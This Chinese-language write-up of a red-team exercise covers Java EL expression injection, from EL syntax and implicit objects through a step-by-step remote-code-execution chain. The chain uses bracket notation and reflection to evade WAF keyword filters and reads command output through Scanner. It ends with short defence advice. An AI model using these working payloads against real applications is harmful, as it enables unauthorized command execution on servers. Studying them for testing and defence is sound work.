记一次HVV实战中对EL表达式的极限绕过
字数 2207 2025-10-01 14:05:44
EL表达式注入漏洞实战绕过技术详解
前言
本文基于HVV实战中遇到的EL表达式注入漏洞及WAF绕过案例,详细记录从发现到最终绕过的完整过程,重点分析EL表达式语法特性、常见RCE payload构造方法以及针对严格WAF的极限绕过技术。
EL表达式基础
EL语法概述
EL(Expression Language)表达式格式统一为 ${expression},提供在JSP环境中简化数据访问的表达式语言。
运算符系统
- 点运算符(.):用于访问对象属性和方法,如
${user.name} - 方括号运算符([]):功能更强大的替代运算符,支持:
- 访问包含特殊字符的属性名:
${user["My-Name"]}(处理含.或-的属性名) - 动态取值功能:
${sessionScope.user[data]}(其中data为变量)
- 访问包含特殊字符的属性名:
隐式对象体系
JSP EL定义了一套完整的隐式对象,用于访问各种上下文数据:
| 对象类别 | 对象名称 | 等效Java代码 | 功能描述 |
|---|---|---|---|
| 请求参数 | param | request.getParameter(name) |
获取单个请求参数值 |
| paramValues | request.getParameterValues(name) |
获取请求参数值数组 | |
| HTTP头 | header | request.getHeader(name) |
获取单个请求头值 |
| headerValues | request.getHeaders(name) |
获取请求头值数组 | |
| Cookie | cookie | request.getCookies() |
获取cookie对象 |
| 初始化参数 | initParam | servletContext.getInitParameter(name) |
获取上下文初始化参数 |
| 作用域对象 | pageScope | pageContext.getAttribute(name) |
页面作用域属性访问 |
| requestScope | request.getAttribute(name) |
请求作用域属性访问 | |
| sessionScope | session.getAttribute(name) |
会话作用域属性访问 | |
| applicationScope | application.getAttribute(name) |
应用作用域属性访问 | |
| 上下文对象 | pageContext | - | 访问JSP隐式对象(请求、响应、会话等) |
常见RCE payload构造原理
核心思路
通过EL表达式访问Java类和方法,最终实现命令执行:
- 获取Class对象:通过内置对象或字面量获取类引用
- 反射调用:通过反射机制获取方法和调用方法
- 命令执行:调用Runtime等类的执行方法
传统payload示例
${Runtime.getRuntime().exec("calc")}
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}
实战WAF绕过技术详解
初始探测
- 发现参数输入直接回显,初步测试XSS无果
- 尝试数学表达式
1+1未计算,怀疑表达式执行环境 - 确认EL表达式执行环境:
${7*7}返回49,确认漏洞存在
WAF拦截分析
传统payload中的关键字全部被拦截:
Runtime,Class,getRuntime,exec,getMethod,invoke等- 大小写变换等简单绕过手法无效
关键绕过技术突破
第一步:类获取绕过
利用[]运算符替代点运算符,避免关键字检测:
${''["class"]}
成功获取Class对象,绕过class关键字检测
第二步:反射方法调用
${''["class"].forName("java.lang.Runtime")}
获取Runtime类引用,绕过forName关键字检测
第三步:方法获取与调用
${''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null)}
获取getRuntime方法,注意此处必须保留null参数
第四步:实例化对象获取
${''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null)}
成功获取Runtime实例,此处发现必须保留null参数,否则报错
命令执行与回显处理
命令执行payload
${''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null).exec("whoami")}
但无回显显示,需要获取输出
回显解决方案
使用Scanner类读取命令执行结果:
${''["class"].forName("java.util.Scanner").getConstructor(''["class"].forName("java.io.InputStream")).newInstance(''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null).exec("whoami").getInputStream()).next()}
完整流程:
- 执行命令获取Process对象
- 获取命令执行结果的InputStream
- 使用Scanner构造函数接收InputStream
- 调用Scanner的next()方法读取输出内容
总结与技术要点
核心绕过技术
- 运算符替换:使用
[]替代点运算符,有效避开关键字检测 - 参数完整性:保持方法调用时参数列表的完整性(如
null参数必须保留) - 反射链构造:通过完整的反射调用链实现功能,避免直接使用关键字
防御建议
- 输入过滤:对EL表达式特殊字符和关键字进行过滤
- 沙箱环境:限制EL表达式的执行环境,禁用危险类和方法的访问
- 上下文检查:确保EL表达式仅在预期的安全上下文中执行
学习价值
本案例展示了:
- EL表达式注入的完整利用链
- 针对严格WAF的渐进式绕过方法
- Java反射机制在漏洞利用中的灵活应用
- 回显获取的多种技术方案
通过此实战案例,可深入理解EL表达式注入的原理和防御方法,提升代码安全审计和漏洞挖掘能力。